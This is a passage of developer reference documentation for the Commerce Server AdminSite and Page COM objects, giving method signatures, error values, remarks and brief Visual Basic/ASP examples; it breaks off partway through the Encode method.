[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

You must initialize an AdminSite object before you can use any other methods of the object (except Create and IsValidName). An object created by the Create method of the AdminSite object is initialized automatically and does not need an explicit call to the Initialize method.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadDefaultProperties

[C++] IAdminSite::Create

[C++] IAdminSite::IsValidName

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadDefaultProperties

[Visual Basic] AdminSite.Create

[Visual Basic] AdminSite.IsValidName


IAdminSite::InitializeFromMDPath Method [C++]

AdminSite.InitializeFromMDPath Method [Visual Basic]

Use this method to initialize the AdminSite object from a specified Internet Information Services (IIS) metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.

Definition

[C++]
HRESULT IAdminSite::InitializeFromMDPath(
  BSTR bstrMDPath
);
[Visual Basic]
Sub InitializeFromMDPath(
  bstrMDPath As String
)

Parameters

bstrMDPath [C++]
[in] A BSTR that contains the metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.
bstrMDPath [Visual Basic]
A String that contains the metabase path. The metabase path can be retrieved using a call to the Request.ServerVariables method.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Unlike the Initialize method, which requires that a server instance and virtual directory be specified separately, this method requires a metabase path to be specified.

[Visual Basic]

Example

' The following example initializes an AdminSite object
' for the application's metabase path:
' oAdmSite is a Commerce.AdminSite object
' The szSite argument contains the site short name,
'  and szSiteRoot contains the physical directory.
AdminSite.Create ("1", szSite, szSiteRoot, true, true)

Call oAdmSite.InitializeFromMDPath(Request.ServerVariables("APPL_MD_Path"))

' The Request.ServerVariables("APPL_MD_Path") expression returns
'  the metabase path in the form /LM/W3SVC/1/mySite , where
'  LM refers to the Local Machine, W3SVC refers to the
' Internet Service, 1 is the server instance, and mySite is the
' root of the Web site. This method works only if the application
' is created at the virtual directory (not a sub-directory).

See Also

[C++] AdminSite Object

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Initialize


IAdminSite::IsValidName Method [C++]

AdminSite.IsValidName Method [Visual Basic]

Use this method to determine the validity of a site name. The IsValidName method returns a value of True if the specified Site Server 3.0 Commerce Edition site short name is valid, and False otherwise.

Definition

[C++]
HRESULT IAdminSite::IsValidName(
  BSTR bstrName,
  BSTR bstrInstance,
  VARIANT_BOOL* pbRet
);
[Visual Basic]
Function IsValidName(
  bstrName As String,
  bstrInstance As String
) As Boolean

Parameters

bstrName [C++]
[in] A BSTR that specifies the short name to be tested.
bstrName [Visual Basic]
A String that specifies the short name to be tested.
bstrInstance [C++]
[in] A BSTR that specifies the Web server instance. To obtain a list of server instances, use the GetWebSites method. For the default Web site, use "1".
bstrInstance [Visual Basic]
A String that specifies the Web server instance. To obtain a list of server instances, use the GetWebSites method. For the default Web site, use "1".
pbRet [C++]
[out] The address of a VARIANT_BOOL used to return an indication of whether or not the site name is valid.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Boolean. A value of True indicates that the short site name is valid. A value of False indicates that the short site name is not valid.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The valid characters and length for a Web site name are determined by the restrictions on the names of Microsoft SQL Server tables. In addition, a short name must not conflict with any other short name on the server.

[C++] The pbRet parameter contains valid data only if the method returns successfully.

Before you actually create a site, use this method to ensure that the short name of the site is valid. The name must conform to several rules for forming valid names in many environments. For example, Commerce Server appends the short name of a site to database tables and to generated pages.

The IsValidName method of an object can be called without calling the Initialize or Create methods of the object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAdminSite is a Commerce.AdminSite object
' The szSite argument contains the site short name
' bResult is a Boolean
bResult = oAdminSite.IsValidName(szSite,"1")

See Also

[C++] AdminSite Object

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.Initialize


IAdminSite::ReadDefaultProperties Method [C++]

AdminSite.ReadDefaultProperties Method [Visual Basic]

Use this method to read the properties from the Site.csc file and return a site dictionary containing these properties.

Definition

[C++]
HRESULT IAdminSite::ReadDefaultProperties(
  IDictionary** ppIDictProp
);
[Visual Basic]
Function ReadDefaultProperties() As Object

Parameters

ppIDictProp [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object that contains the site properties read from the Site.csc file.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the site properties read from the Site.csc file.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Site.csc file for the Site Server 3.0 Commerce Edition site resides in the site\Config directory, and the Site.csc file for the manager site resides in the site\Manager\Config directory.

[C++] The ppIDictProp parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::WriteDefaultProperties

[C++] IAdminSite::ReadManagerProperties

[C++] IAdminSite::Initialize

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.WriteDefaultProperties

[Visual Basic] AdminSite.ReadManagerProperties

[Visual Basic] AdminSite.Initialize


IAdminSite::ReadManagerProperties Method [C++]

AdminSite.ReadManagerProperties Method [Visual Basic]

Use this method to read the properties from the configuration file of the management page (site\Manager\Config\Site.csc) and to return a site dictionary containing these properties.

Definition

[C++]
HRESULT IAdminSite::ReadManagerProperties(
  IDictionary** ppIDict
);
[Visual Basic]
Function ReadManagerProperties() As Object

Parameters

ppIDict [C++]
[out] The address of a pointer used to return the IDictionary interface of the Dictionary object that contains the properties read from the configuration file of the management page.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a Dictionary object that contains the properties read from the configuration file of the management page.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The manager site dictionary properties are DefaultConnectionString and ConnectionStringMap. These properties are distinct from the corresponding properties in the main site configuration.

[C++] The ppIDict parameter contains valid data only if the method returns successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::WriteManagerProperties

[C++] IAdminSite::ReadDefaultProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.WriteManagerProperties

[Visual Basic] AdminSite.ReadDefaultProperties


IAdminSite::Reload Method [C++]

AdminSite.Reload Method [Visual Basic]

Use this method to reset all application and session objects for the Site Server 3.0 Commerce Edition site.

Definition

[C++]
HRESULT IAdminSite::Reload(
);
[Visual Basic]
Sub Reload()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

After a reload, the next browser request will load the Global.asa file.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


IAdminSite::WriteDefaultProperties Method [C++]

AdminSite.WriteDefaultProperties Method [Visual Basic]

Use this method to write the properties from the specified site Dictionary object to the Site.csc file.

Definition

[C++]
HRESULT IAdminSite::WriteDefaultProperties(
  IDictionary* pIDictProp
);
[Visual Basic]
Sub WriteDefaultProperties(
  pIDictProp As Object
)

Parameters

pIDictProp [C++]
[in] A pointer to the IDictionary interface of the Dictionary object that contains the properties to be written to the Site.csc file.
pIDictProp [Visual Basic]
A reference to the Dictionary object that contains the properties to be written to the Site.csc file.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadDefaultProperties

[C++] IAdminSite::WriteManagerProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadDefaultProperties

[Visual Basic] AdminSite.WriteManagerProperties


IAdminSite::WriteManagerProperties Method [C++]

AdminSite.WriteManagerProperties Method [Visual Basic]

Use this method to write the properties from the specified site Dictionary object to the configuration file of the management page (site\Manager\Config\Site.csc).

Definition

[C++]
HRESULT IAdminSite::WriteManagerProperties(
  IDictionary* pIDictProp
);
[Visual Basic]
Sub WriteManagerProperties(
  pIDictProp As Object
)

Parameters

pIDictProp [C++]
[in] A pointer to the IDictionary interface of the Dictionary object that contains the properties to be written to the configuration file of the management page.
pIDictProp [Visual Basic]
A reference to a Dictionary object that contains the properties to be written to the configuration file management page.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The manager site dictionary properties are DefaultConnectionString and ConnectionStringMap. These properties are distinct from the corresponding properties in the main site configuration. This means that the password and user name information required to access site management pages can be different from those used in user pages.

See Also

[C++] AdminSite Object

[C++] IAdminSite::ReadManagerProperties

[C++] IAdminSite::WriteDefaultProperties

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.ReadManagerProperties

[Visual Basic] AdminSite.WriteDefaultProperties


AdminSite Properties [C++]

AdminSite Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Directory | BSTR | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | VARIANT | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.
[Visual Basic]
Property | Type | Description
Directory | String | Stores the currently registered Site Server 3.0 Commerce Edition site physical directory. This property is read/write.
Status | Variant | Stores the open/closed status of a Site Server 3.0 Commerce Edition site. This property is read/write.
Version | Long | Stores the Site Server 3.0 Commerce Edition version number. This property is read-only.


IAdminSite::get_Directory, put_Directory Property [C++]

AdminSite.Directory Property [Visual Basic]

The Directory property is a read/write string that contains the currently registered Site Server 3.0 Commerce Edition site physical directory.

Definition

[C++]

Get method:

HRESULT IAdminSite::get_Directory(
  BSTR* Directory
);

Put method:

HRESULT IAdminSite::put_Directory(
  BSTR Directory
);
[Visual Basic]
Property Directory As String

Parameters

Directory [C++]
[out] When getting the property, the address of a BSTR used to return the name of the directory.
[in] When putting the property, a BSTR that contains the name of the directory.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The valid characters and length for a Web site name are determined by the restrictions on the file system.

[C++] The Directory parameter contains valid data only if the property is accessed successfully.

[C++] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[C++] IAdminSite::InitializeFromMDPath

[Visual Basic] AdminSite Object

[Visual Basic] AdminSite.InitializeFromMDPath


IAdminSite::get_Status, put_Status Property [C++]

AdminSite.Status Property [Visual Basic]

The Status property is a read/write Boolean that indicates whether or not the Site Server 3.0 Commerce Edition site is open or closed. In addition, the Status property either opens or closes the Site Server 3.0 Commerce Edition site, when the value is set.

Definition

[C++]

Get method:

HRESULT IAdminSite::get_Status(
  VARIANT_BOOL* Status
);

Put method:

HRESULT IAdminSite::put_Status(
  VARIANT_BOOL Status
);
[Visual Basic]
Property Status As Boolean

Parameters

Status [C++]
[in] When putting the property, a VARIANT_BOOL that contains the open/closed status of the site.
[out] When getting the property, the address of a VARIANT_BOOL used to return the open/closed status of the site. A value of True indicates that the site is open. A value of False indicates that the site is closed.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Changing this property sets a value in the site configuration to the text "Open" or "Closed." When the site is reloaded, this value is read by the Global.asa file into the com_compref_frnc.htm value of the site Dictionary object. Each page in the Site Server 3.0 Commerce Edition site then determines whether or not to redirect the browser by checking the value of the Site.Status property. If the text does not equal "Open," then the browser is redirected to the address specified by the Site.CloseRedirectURL property.

[C++] When getting the property, the Status parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


IAdminSite::get_Version Property [C++]

AdminSite.Version Property [Visual Basic]

The Version property is a read-only integer used to return the version of Site Server 3.0 Commerce Edition in use.

Definition

[C++]
HRESULT IAdminSite::get_Version(
  long* Version
);
[Visual Basic]
Property Version As Long

Parameters

Version [C++]
[out] A pointer to a long used to return the version of Site Server 3.0 Commerce Edition in use.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The Version parameter contains valid data only if the property is accessed successfully.

See Also

[C++] AdminSite Object

[Visual Basic] AdminSite Object


Page Object [C++]

Page Object [Visual Basic]

Use this object to simplify forms processing in Active Server Pages (ASP).

ProgID: | Commerce.Page (Externally creatable)
COM Class Name: | MSCSPage_3_0
Type Library Name: | Commerce -- MSCSAspHelp Type Library
DLL Name: | MSCSAspHelp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSPage_3_0
Interface ID Constant: | IID_IMSCSPage_3_0
Header File: | commerce.h, mspu_guids.h

Important

  • This object is included for backward compatibility with Site Server 3.0 Commerce Edition. For more information, see the AuthManager and AppFrameWork objects, which provide similar functionality to many of the methods in this object.

The Page object methods fall into the following categories:

  • Formatting methods. These methods include Encode, Option, and Check. These methods make it possible for you to easily format HTML page items, and where applicable, to determine HTML item values based upon a run-time evaluation of other variables used in your page.
  • Validation methods. These methods begin with Request. They are used to retrieve values from a URL query string, convert the values to given data types based on a locale value, and validate these values against a specified range.
[C++]

In C++, use the IMSCSPage_3_0 interface to access the properties and methods of the Page object.

Methods

[C++]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Return the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Returns the name of the s for the site.

Properties

[C++]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.
[Visual Basic]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.

Remarks

The Page object is not available through the Common Language Runtime Interop Layer or the Base Class Library. Functionality similar to that of the Page object resides in the AuthManger class in the Base Class Library.

See Also

Backward Compatibility Objects

[C++] AppFrameWork Object

[C++] AuthManager Object

[Visual Basic] AppFrameWork Object

[Visual Basic] AuthManager Object


IMSCSPage_3_0 Methods [C++]

Page Methods [Visual Basic]

Methods

[C++]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Return the name of the virtual directory for the site.
[Visual Basic]
Method | Description
Check | Generates the word CHECKED for use in an HTML page based upon a supplied value.
Encode | Encodes text in HTML.
GetShopperId | Returns the unique shopper ID for the current shopper.
HTMLEncode | Encodes text in HTML.
Option | Generates an option button on a page.
ProcessVerifyWith | Copies the contents of hidden fields created using the VerifyWith method into an OrderForm object's _verify_with Dictionary object.
PutShopperId | Writes the specified shopper ID for use in a URL or a secure URL (or as a cookie).
RequestDate | Retrieves a value from a URL query string or form post variable and converts it to a date value (Date Variant), based on the specified or default locale.
RequestDateTime | Retrieves a value from a URL query string or form post variable and converts it to a date/time value (Date Variant), based on the specified or default locale.
RequestDefault | Retrieves a value from a URL query string or form post variable and returns the value as a string.
RequestFloat | Retrieves a value from a URL query string or form post variable and converts it to a floating-point value, based on the specified or default locale. It then checks the value against a specified range and validates the value, based on the specified locale.
RequestMoneyAsNumber | Retrieves a value from a URL query string or form post variable and converts it to a number in the base monetary units of the specified or default locale.
RequestNumber | Retrieves a value from a URL query string or form post variable and converts it to a number, based on the specified or default locale.
RequestString | Retrieves a value from a URL query string or form post variable and performs string processing on it, based on the specified locale.
RequestTime | Retrieves a value from a URL query string or form post variable and converts the string to a Date Variant, based on the specified or default locale.
SiteRoot | Returns the physical directory that contains the Commerce Server site.
SURL | Generates a secure URL based on the local path to a file. This URL includes the shopper ID, where applicable.
SURLPrefix | Returns the secure root domain, which can be used as the prefix of a complete URL.
URL | Generates a full URL based on the local path to a file. This URL can include arguments and the shopper ID, where applicable.
URLArgs | Generates a series of query string arguments appropriate for passing in a URL.
URLEncode | Applies URL encoding rules to a specified string.
URLPrefix | Returns the non-secure root domain, which can be used as the prefix to a complete URL.
URLShopperArgs | Generates a series of query string arguments appropriate for passing in a URL. It also includes in the arguments the shopper ID if the StandardSManager has been initialized to URL mode.
VerifyWith | Sends outputs to the page hidden fields that contain verification values.
VirtualDirectory | Returns the name of the s for the site.


IMSCSPage_3_0::Check Method [C++]

Page.Check Method [Visual Basic]

Use this method to generate the word CHECKED into a page if the value specified in the vtCheck parameter is a nonzero value. CHECKED is a parameter to an HTML <INPUT> tag, which sets a check box or radio button to selected when the form first loads.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::Check(
  VARIANT vtCheck,
  BSTR* pbstrRet
);
[Visual Basic]
Function Check(
  vtCheck As Variant
) As String

Parameters

vtCheck [C++]
[in] A VARIANT that contains the expression that is evaluated to determine whether the word CHECKED should be inserted at the location on a page where the call to Check appears.
vtCheck [Visual Basic]
A Variant that contains the expression that is evaluated to determine whether the word CHECKED should be inserted at the location on a page where the call to Check appears.
pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the string "CHECKED" or "".

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the string "CHECKED" or "".

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example could be used in an ASP file
' to generate three radio buttons in an HTML form:
' oPage is a Commerce.Page object
<% my_color="Green" %>
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="0"<% = _
    oPage.Check(my_color="Red")%>>Red
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="1"<% = _
    oPage.Check(my_color="Green")%>>Green
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="2"<% = _
    oPage.Check(my_color="Blue")%>>Blue
' Assuming that my_color contains "Green" this produces
' the following HTML output:
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="0">Red
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="1"CHECKED>Green
<INPUT TYPE="RADIO" NAME="CONTROL1" VALUE="2">Blue
' This HTML output produces three radio buttons labeled Red,
' Green, and Blue, with the Green option selected.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::Option

[Visual Basic] Page Object

[Visual Basic] Page.Option


IMSCSPage_3_0::Encode Method [C++]

Page.Encode Method [Visual Basic]

Use this method to apply HTML encoding to the specified text string.

This method is identical to the HTMLEncode method, which is the preferred name for this function. The Encode method applies HTML encoding to the specified text string. Characters in the string, such as "<" and "&" that have special meanings in HTML, are converted into their HTML equivalents, such as &lt; and &amp; so that they will be displayed correctly by the client browser.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::Encode(
  VARIANT vtValue,
  BSTR* pbstrRet
);
[Visual Basic]
Function Encode(
  vtValue As Variant
) As String

Parameters

vtValue [C++]
